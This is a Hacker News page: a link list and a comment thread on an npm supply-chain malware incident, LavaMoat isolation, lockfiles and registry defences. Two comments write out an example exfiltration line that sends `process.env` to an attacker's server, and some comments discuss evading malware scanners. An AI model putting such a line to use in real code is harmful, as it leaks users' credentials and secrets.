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We all dodged a bullet

https://xeiaso.net/notes/2025/we-dodged-a-bullet/
311•WhyNotHugo•3h ago•191 comments

Claude can now create and edit files

https://www.anthropic.com/news/create-files
257•meetpateltech•4h ago•153 comments

Dropbox Paper mobile App Discontinuation

https://help.dropbox.com/installs/paper-mobile-discontinuation
17•mercenario•19m ago•1 comments

A new experimental Go API for JSON

https://go.dev/blog/jsonv2-exp
85•darccio•3h ago•12 comments

Tomorrow's Emoji, Today: Unicode 17.0 Has Arrived

https://jenniferdaniel.substack.com/p/tomorrows-emoji-today-unicode-170
12•ChrisArchitect•27m ago•0 comments

An attacker’s blunder gave us a look into their operations

https://www.huntress.com/blog/rare-look-inside-attacker-operation
74•mellosouls•2h ago•43 comments

Mistral AI raises 1.7B€, enters strategic partnership with ASML

https://mistral.ai/news/mistral-ai-raises-1-7-b-to-accelerate-technological-progress-with-ai
645•TechTechTech•12h ago•355 comments

ICE Is Using Fake Cell Towers to Spy on People's Phones

https://www.forbes.com/sites/the-wiretap/2025/09/09/how-ice-is-using-fake-cell-towers-to-spy-on-p...
205•coloneltcb•2h ago•63 comments

Weave (YC W25) is hiring a founding AI engineer

https://www.ycombinator.com/companies/weave-3/jobs/SqFnIFE-founding-ai-engineer
1•adchurch•1h ago

Building a DOOM-like multiplayer shooter in pure SQL

https://cedardb.com/blog/doomql/
62•lvogel•3h ago•3 comments

X open sourced their latest algorithm

https://github.com/twitter/the-algorithm
173•mxstbr•3h ago•102 comments

I solved a distributed queue problem after 15 years

https://www.dbos.dev/blog/durable-queues
44•Bogdanp•1d ago•10 comments

A clickable visual guide to the Rust type system

https://rustcurious.com/elements/
202•stmw•4d ago•34 comments

You too can run malware from NPM (I mean without consequences)

https://github.com/naugtur/running-qix-malware
153•naugtur•8h ago•91 comments

Go for Bash Programmers – Part II: CLI Tools

https://github.com/go-monk/from-bash-to-go-part-ii
25•reisinge•1d ago•3 comments

How can England possibly be running out of water?

https://www.theguardian.com/news/ng-interactive/2025/aug/17/how-can-england-possibly-be-running-o...
284•xrayarx•3d ago•443 comments

Anscombe's Quartet

https://en.wikipedia.org/wiki/Anscombe%27s_quartet
88•gidellav•1d ago•23 comments

Yet Another TypeSafe and Generic Programming Candidate for C

https://github.com/brightprogrammer/MisraStdC
36•brightprogramer•3d ago•3 comments

What happens when private equity buys homes in your neighborhood

https://www.npr.org/sections/planet-money/2025/09/09/g-s1-87699/private-equity-corporate-landlords
28•pseudolus•59m ago•2 comments

Disrupting the DRAM roadmap with capacitor-less IGZO-DRAM technology

https://www.imec-int.com/en/articles/disrupting-dram-roadmap-capacitor-less-igzo-dram-technology
22•ksec•4h ago•9 comments

William James at CERN (1995)

http://bactra.org/wm-james-at-cern/
21•benbreen•3d ago•4 comments

U.S. Added 911,000 Fewer Jobs in the Year Ended in March

https://www.wsj.com/economy/jobs/us-job-growth-revision-a9777d98
67•JumpCrisscross•2h ago•2 comments

iPhone Air, a powerful new iPhone with a breakthrough design

https://www.apple.com/newsroom/2025/09/introducing-iphone-air-a-powerful-new-iphone-with-a-breakt...
70•excerionsforte•19m ago•77 comments

Hallucination Risk Calculator

https://github.com/leochlon/hallbayes
89•jadelcastillo•7h ago•28 comments

New Mexico is first state in US to offer universal child care

https://www.governor.state.nm.us/2025/09/08/new-mexico-is-first-state-in-nation-to-offer-universa...
625•toomuchtodo•4h ago•492 comments

Synthesizing Object-Oriented and Functional Design to Promote Re-Use

https://cs.brown.edu/~sk/Publications/Papers/Published/kff-synth-fp-oo/
24•andsoitis•2d ago•4 comments

Google to Obey South Korean Order to Blur Satellite Images on Maps

https://www.barrons.com/news/google-to-obey-south-korean-order-to-blur-satellite-images-on-maps-6...
110•gnabgib•5h ago•64 comments

iPhone dumbphone

https://stopa.io/post/297
617•joshmanders•1d ago•361 comments

Liquid Glass in the Browser: Refraction with CSS and SVG

https://kube.io/blog/liquid-glass-css-svg/
449•Sateeshm•20h ago•111 comments

Strong Eventual Consistency – The Big Idea Behind CRDTs

https://lewiscampbell.tech/blog/250908.html
127•tempodox•13h ago•56 comments
Open in hackernews

You too can run malware from NPM (I mean without consequences)

https://github.com/naugtur/running-qix-malware
152•naugtur•8h ago

Comments

cluckindan•7h ago
LavaMoat looks great on paper, but not supporting Webpack HMR is a dealbreaker.
naugtur•6h ago
You're using HMR in your app's production bundle? How?
naugtur•6h ago
If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)
cluckindan•3h ago
Well, that’s not exactly reassuring. Having a very different runtime environment in production is grounds for hard to debug issues.

Is it possible to generate the allowlist at development time without having the webpack plugin loaded? If it’s only generated at build time, it won’t protect against malicious packages getting installed in CI just before the build happens.

naugtur•2h ago
You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand packages.

Try it and see. There's tradeoffs but if you roll it out, it is very powerful.

mohsen1•6h ago
npm should take responsibility and up their game here. It’s possible to analyze the code and mark it as suspicious and delay the publish for stuff like this. It should prevent publishing code like this even if I have a gun to my head
sesm•6h ago
I think malware check should be opt-in for package authors, but provide some kind of 'verified' badge to the package.

Edit: typo

naugtur•6h ago
npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.
shreddit•6h ago
“within hours” is at least one hour too late, and most likely multiple hours.
naugtur•6h ago
Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that. Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware.

Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime. The article (and repo) demonstrates that.

rs186•5h ago
Sure, it should never happen in CI environment. But I bet that every second, someone in the world is running "npm install" to bring in a new dependency to a new/existing project, and the impact of a malicious release can be broad very quickly. Vibe coding is not going to slow this down.
naugtur•4h ago
Vibe coding brings up the need for even more granular isolation. I'm on it ;)

LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what they can do.

bavarianbob•3h ago
I've worked in software supply chain security for two years now and this is an extremely optimistic take. Nearly all organizations are not even remotely close to this level of responsiveness.
Cthulhu_•4h ago
Depends on whether they hold publishing to the main audience until said scan has finished.
Cthulhu_•4h ago
I always thought this would be the ideal monetization path for NPM; enterprises pay them, NPM only supplies verified package releases, ideally delayed by hours/days after release so that anything that slips through the cracks has a chance to get caught.
chrisweekly•4h ago
Enterprises today typically use a custom registry, which can include any desired amount of scans and rigorous controls.
johannes1234321•22m ago
That would put them into liability or be a quite worthless agreement taking no responsibility.
yjftsjthsd-h•3h ago
> but provide some kind of 'verified' badge to the package

I would worry that that results in a false sense of security. Even if the actual badge says "passes some heuristics that catch only the most obvious malicious code", many people will read "totally 100% safe, please use with reckless abandon".

madeofpalk•2h ago
They already have this

https://docs.npmjs.com/trusted-publishers

https://docs.npmjs.com/generating-provenance-statements

untitaker_•6h ago
i can guarantee you npm will externalize the cost of false-positive malware scans to package authors.
nodesocket•6h ago
Or at a minimum support yubikey for 2fa.
worthless-trash•6h ago
Original author could be evil. 2fa does nothing.
jamesnorden•3h ago
If my grandma had wheels she'd be a bike. You don't need to attack the problem from only one angle.
worthless-trash•3h ago
Your grandma is a bike then. The 2fa is going to solve nothing and any attacker worth their salt knows it.
singulasar•1h ago
unphishable 2fa would have prevented this specific case tho... what are you talking about?
mcintyre1994•3h ago
They do, I use a yubikey and it requires me to authenticate with it whenever I publish. They do support weaker 2fa methods as well, but you can choose.
azemetre•5h ago
Why would npm care? They're basically a monopoly in the JS world and under the stewardship of a company that doesn't even care when its host nation gets hacked when using their software due to their ineptitude.
clbrmbr•6h ago
How much money have the attackers stolen so far? Has someone done an analysis of the blockchains for the destination addresses?
naugtur•6h ago
click through to the article, it has a link to a view that lists the laughable profit
clbrmbr•6h ago
Huh. I read TFA in detail (and shared with my team), but I didn’t see any analysis. (?)
crtasm•6h ago
I think they mean the link to https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0...
hiccuphippo•6h ago
It seems to be this: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0...

500 USD, not bad for a month of work if the author is from a 3rd world country.

naugtur•5h ago
there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.

500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.

This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.

`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.

javcasas•5h ago
3rd world country developers routinely earn more than that.

A shitty junior developer in Ecuador easily pulls 700-800 per month. If they are any competent, they can double that in an outsourcing consultancy.

Cthulhu_•4h ago
"3rd world country" is an outdated cold war phrase usually incorrectly used to describe wealth or development status (it originally meant "anything not NATO or Warsaw Pact"); China is a third world country by that merit, but it's the second richest country (by GDP) in the world.

"Developing" or "poor" country may be a more accurate phrase.

wodenokoto•6h ago
> I won't go into this either, but you can take a look at the summary of "donations" some other friends linked to here: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0...

>Pretty low impact for an attack this big. Some of it seems to be people mocking the malware author with worthless transfers.

I believe this is the section. As far as I understand the link, it's about $500. I don't understand how you read if a donation is a worthless mockery donation.

naugtur•5h ago
I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.
nodesocket•6h ago
I'm actually shocked they have not stolen more seeing the breach impact radius? Perhaps we can thank wallets and exchanges for blacklisting the addresses and showing huge warnings like the one shown in the article.
shreddit•6h ago
It was discovered pretty quickly, i don’t think most “big” projects update their packages within minutes of publication.
pixl97•5h ago
Really I'd say the key here is timing. I didn't look into what time the NPM packages were updated, but there are a few key times depending on what markets you're targeting. If it were Indian devs it would be around 2AM CST and if it's US devs it would be around 10AM CST.

This is when I see the ramp up in queuing in CI/CD builds that lasts a few hours across companies and is more likely to trigger a package getting rebuilt.

zachrip•5h ago
It was also packages that in my experience don't often find themselves on the frontend.
naugtur•4h ago
- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.
p2detar•6h ago
I’ve been out of the loop with npm for a while, but are there still no package namespaces?
uallo•6h ago
https://docs.npmjs.com/about-scopes
diggan•4h ago
Namespaces have existed since ~2016 at least in npm, but since it's not enforced and people want "nice looking" package names, the ecosystem still hasn't fully embraced it. It seems like more and more projects are using them (probably because all "good" names are already taken), but probably way less than half of all popular packages are scoped/namespaced.
keysdev•3h ago
Well there is jsr now....
stby•3h ago
I am also out of the loop here, how would namespaces have helped?
clbrmbr•6h ago
Is it typical in the JS space to include dependencies without versioning?

Also, curious: does freezing a version really provide much protection? Shouldn’t a commit hash be used? (Attacker can change a tag.)

naugtur•6h ago
packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised.

Installing from git is not recommended and has more issues than you might think https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc

You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so common) And when you do update, will you read the package and all of its updated dependencies?

It's a hard problem with a bunch of tradeoffs.

Can be done, with enough attention and tools. Tools include LavaMoat :)

clbrmbr•6h ago
Re: updates: I was just thinking of waiting a few weeks on the updates to allow compromised packages to be discovered.
naugtur•5h ago
socket.dev will find most malware within hours of it being published.

with LavaMoat most malware won't work even if you don't detect it.

whilenot-dev•6h ago
> packages published to npm are immutable.

Depends how you'd refer to them... tags ("@latest", "@next" etc.) are not immutable and it's best to rely on the checksums in the lock file.

vel0city•6h ago
The package-lock.json includes a hash of the package, not just a version number which should be immutable.
whilenot-dev•6h ago
To add to this: the hash in the lock file is the checksum of the published tarball, not the commit hash.
cluckindan•3h ago
And then someone runs `npm install` on their CI
herpdyderp•6h ago
I’m intrigued but is that compartmentalization not incredibly expensive?
naugtur•5h ago
It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.
cluckindan•3h ago
Have you tried to find ways to break it?

Plenty of objects in the browser API contain references to things that could be used to defeat the compartmentalization.

If one were to enumerate all properties on window and document, how many would be objects with a reference back to window, document or some API not on the allowed list?

cowbertvonmoo•1h ago
I maintain ses, the compartment primitive LavaMoat relies on. The ses shim for hardenedjs.org creates compartments that deny guest code the ability to inspect the true global object or lexically reference any of its properties. By default, each compartment only sees the transitively frozen intrinsics like Array and Object, and no way to reach the genuine evaluators. The compartment traps the module loader as well, so you can only import modules that are explicitly injected. That leaves a lot of room for the platform to make mistakes and endow the compartment with gadgets, but also gives us a place to stand to mount a defense that is not otherwise prohibitively expensive.
CyberMacGyver•6h ago
Looks like OP is one of the contributors to LavaMoat
naugtur•5h ago
Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin.

Also, together with a bunch of great folks at TC39 we're trying to get enough building blocks for the same-realm isolation primitives into the language.

see hardenedjs.org too

I'm doing the rounds promoting the project today because at this point all we need to eliminate certain types of malware is get LavaMoat a lot more adoption in the ecosystem.

( and that'll give me bug reports and maybe even contributions? :) )

hn92726819•4h ago
I think most people are fine with promoting a cool project you work on, but it's best practice to disclose that in the article. Even something like "If your project was set up with LavaMoat (a project I've been working on), ..." would be enough.

I think that's why they made the comment.

naugtur•4h ago
Yup, and thanks - I should have made the comment myself but got distracted.
EasyMark•4h ago
You're forgiven. Thanks to you (and any other contribs) for the excellent project
btown•4h ago
I'm often curious about how effective runtime quasi-sandboxing is in practice (at least until support at the TC39 level lands).

My understanding is that if you can run with a CSP that prevents unsafe-eval, and you lock a utility package down to not be able to access the `window` object, you can prevent it from messing with, say, window.fetch.

But what about a package that does assume the existence of window or globalThis? Say, a great many packages bridging non-React components into the React ecosystem. Once a package needs even read-only access to `window`, how do you protect against supply-chain attacks on that package? Even if you read-only proxy that object, for instance, can you ensure that nothing in `window` itself holds a reference to the non-proxied `window`?

Don't get me wrong - this project is tremendously useful as defense-in-depth. But curious about how much of a barrier it creates in practice against a determined attacker.

naugtur•2h ago
It's based on HardenedJS.org

The sandbox itself is tight, there's a bug bounty even.

The same technology is behind metamask snaps - plugins in a browser extension.

And Moddable has their own implementation

The biggest problem is endowing too powerful capabilities.

We've got ambitious plans for isolating DOM, but that already failed once before.

jefozabuss•5h ago
Seems like people already forgot about Jia Tan.

By the way why doesn't npm have already a system in place to flag sketchy releases where most of the code looks normal and there is a newly added obfuscated code with hexadecimal variable names and array lookups for execution...

tom1337•5h ago
It would also be great if a release needs to be approved by the maintainer via a second factor or an E-Mail verification. Once a release has been published to npm, you have an hour to verify it by clicking a link in an email and then enter another 2FA (separate OTP than for login, Passkey, Yubikey whatever). That would also prevent publishing with lost access keys. If you do not verify the release within the first hour it gets deleted and never published.
naugtur•5h ago
That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa.

automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and it requires an approval to go through. And any one of them can veto within 5 minutes.

But we don't have that, so gotta be careful and prepare for the worst (use LavaMoat for that)

Cthulhu_•4h ago
Not through e-mail links though, that's what caused this in the first place. E-mail notification, sure, but they should also do a phishing training mail - make it legit, but if people press the link they need to be told that NPM will never send them an email with a link.
dist-epoch•5h ago
> flag sketchy releases

Because the malware writers will keep tweaking the code until it passes that check, just like virus writers submit their viruses to VirusTotal until they are undetected.

mystifyingpoi•5h ago
Detecting sketchy-looking hex codes should be pretty straightforward, but then I imagine there are ways to make sketchy code non-sketchy, which would be immediately used. I can imagine a big JS function, that pretends to do legit data manip, but in the process creates the payload.
nicce•5h ago
It is just about bringing the classic non-signature based antivirus software to the release cycle. Hard to say how useful it is, but usually it is endless cat-and-mouse play like with everything else.
hombre_fatal•4h ago
Yeah, It’s merely a fluke that the malware author used some crappy online obfuscator that created those hex code variables. It would have been less work and less suspicious if they just kept their original semantic variables like “originalFetch”.
Cthulhu_•4h ago
It wouldn't be just one signal, but several - like a mere patch version that adds several kilobytes of code, long lines, etc. Or a release after a long silent period.
cluckindan•3h ago
A complexity per line check would have flagged it.

Even a max line length check would have flagged it.

chatmasta•2h ago
That would flag a huge percentage of JS packages that ship with minified code.
cchance•1h ago
Feels like a basic light weight 3b AI model could easily spot shit like this on commit
AtNightWeCode•3h ago
The problem is that it is even possible to push builds from dev machines.
madeofpalk•2h ago
With NPM now supporting OIDC, you can just turn this off now https://docs.npmjs.com/trusted-publishers
j45•5h ago
How does one avoid malware in npm specifically?

Makes me not want to use the ecosystem, which isn’t always possible.

beardyw•5h ago
>Makes me not want to use the ecosystem

I came to that conclusion long ago.

pimterry•4h ago
This attack is pretty bad, but as shown by the tiny ROI for the attacker mentioned in this article (about $500 so far: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0...) this really isn't quite as ecosystem-catastrophic as it sounds, for a few reasons:

* Major attacks on large packages like this are caught fairly quickly - a few hours in this case - making the vulnerable window _relatively_ small.

* NPM locks installed dependencies by default, against both the version & a hash of the content, so you'll only install the new malicious version if you happen to be adding or updating this dependency specifically within the window this version is still live. It's effectively sort-of TOFU. If even you ran `npm install` in a project already using this dependency in the specific window it was live, you will not normally install the malicious version.

* There's quite a few tools to help mitigate the risk here, like https://socket.dev and npq (https://github.com/lirantal/npq).

As one datapoint, look at the download stats for the affected Chalk package for example (https://www.npmjs.com/package/chalk?activeTab=versions) - the vast majority of installs were not installing the latest version anyway.

There are caveats to this: e.g. you can use npm without a lockfile, in which case a fresh local install can pull down unexpected versions, or you could be manually updating/adding a different package which happens to depend on an affected package (which might trigger a lockfile update, which might then fetch the latest version of the subdependency) during the vulnerable window, or of course it's totally possible you might install the package for the first time at the precisely wrong moment, etc etc.

This is definitely bad, and could have been extremely disastrous if it wasn't caught. But in practice, npm & the ecosystem have put in quite a few protections that do help to _mostly_ mitigate these kind of risks in typical use cases (but not completely, and there's definitely plenty more work to do!) and it's certainly not the case that millions of JS developers & projects were all catastrophically pwned today.

naugtur•4h ago
Very good summary.

Most other ecosystems are as vulnerable if not more, they just lack the scale.

OP, The malware is coming to the ecosystem you prefer. Give it time.

AtNightWeCode•3h ago
I think JS should be all source and no packages at all.
phil294•1h ago
What about complex SPAs? Database drivers? Polyfills? TypeScript?
riazrizvi•2h ago
Glad to see this article raising awareness.

Without fairness in the marketplace, the talent loses the will to play and the economy will further deteriorate. We are all suffering from an international trust breakdown from Covid, and now also from AI spam. If we don’t turn this tide, jobs and business opportunities are going to keep shrinking.

erpderp•2h ago
In the example snippets from OP, the code shown is in the browser. I'm failing to see how the interception, as described, couldn't be handled by a decent Content Security Policy - instead of requiring yet another npm package. Seems safer than installing another package to address risk from ... installing packages.
ghrl•2h ago
I suppose if you're using a bundler, you will ship JS bundles including the malicious packages from your own trusted domain. How could CSP prevent this or similar attacks?
erpderp•1h ago
According to the OP, in this specific case, the malware was mostly just intercepting legitimate fetch(), etc calls. With CSP `connect-src`, I don't think that would be possible unless the new fetch targets are themselves on allow-listed domains (which is a totally separate issue).

For example, consider a CSP of: `Content-Security-Policy: connect-src 'self' https://api.example.com;`: This policy would allow fetch() requests only to the same origin ('self') and to https://api.example.com, blocking any attempts to connect to other domains (typically with a corresponding warning/error in the browser dev console).

That said, in fairness, CSP is of course only applicable to frontend code (not to backend JS, where anecdotally I've seen a lot more usage of `chalk` and some of the other pwned packags), but frontend code and the `window` object is what the OP used in their examples and seems like they're targeting w/ webpack, hence my mentioning CSP.

4ndrewl•1h ago
If you're not vendoring, there's an argument to say that some portion of your source code is fair game to anyone who has commit rights to a variety of repos.